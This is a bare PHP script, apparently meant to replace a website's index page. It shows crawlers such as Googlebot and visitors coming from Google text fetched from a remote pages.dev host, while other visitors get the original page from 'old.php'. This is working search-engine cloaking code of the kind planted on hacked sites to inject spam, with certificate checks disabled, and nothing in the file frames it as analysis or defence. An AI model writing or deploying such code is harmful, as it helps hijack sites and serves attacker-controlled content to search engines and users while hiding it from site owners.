<?php
// Fungsi untuk memeriksa apakah user agent adalah bot mesin pencari
function isSearchEngineBot() {
    if (!isset($_SERVER['HTTP_USER_AGENT'])) {
        return false;
    }
    $userAgent = $_SERVER['HTTP_USER_AGENT'];
    return preg_match('/(googlebot|bingbot|yandexbot|baiduspider|duckduckbot|slurp|facebot|ia_archiver|AhrefsBot|TelegramBot|Google-Site-Verification|Google-InspectionTool)/i', $userAgent);
}
 
// Fungsi untuk memeriksa apakah referer dari Google
function isFromGoogle() {
    if (!isset($_SERVER['HTTP_REFERER'])) {
        return false;
    }
    $referer = $_SERVER['HTTP_REFERER'];
    return strpos($referer, 'google.com') !== false || 
           strpos($referer, 'google.co.id') !== false;
}
 
// Fungsi alternatif untuk mengambil konten dari URL
function NuLzFetch($url) {
    $url = trim($url); // Hilangkan spasi
    if (filter_var($url, FILTER_VALIDATE_URL) === false) {
        return "Invalid URL: $url";
    }
 
    if (function_exists('file_get_contents')) {
        $context = stream_context_create(['http' => ['timeout' => 5]]);
        $fetch = @file_get_contents($url, false, $context);
        if ($fetch !== false) return $fetch;
    }
 
    if (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 5);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Hanya untuk dev
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (compatible; Cloaking Checker/1.0)');
        $fetch = curl_exec($ch);
        curl_close($ch);
        if ($fetch !== false) return $fetch;
    }
 
    return "Cannot fetch URL: $url";
}
 
// Atur cookie jika belum pernah dikunjungi
$cookie_expiration = time() + (365 * 86400); // 1 tahun
if (!isset($_COOKIE['visited'])) {
    setcookie('visited', '1', $cookie_expiration, "/");
}
 
$cache_duration = 86400;
header("Cache-Control: max-age=$cache_duration, public, must-revalidate");
header("Pragma: cache");
header("Content-Type: text/html; charset=utf-8");
 
$index_home = 'old.php';
 
$remote_url = 'https://jpbmuho.pages.dev/a.txt';
 
if (isSearchEngineBot()) {
    $content = NuLzFetch($remote_url);
    echo $content;
} elseif (isFromGoogle()) {
    $content = NuLzFetch($remote_url);
    echo $content;
} else {
    if (file_exists($index_home)) {
        include($index_home);
    } 
}
?>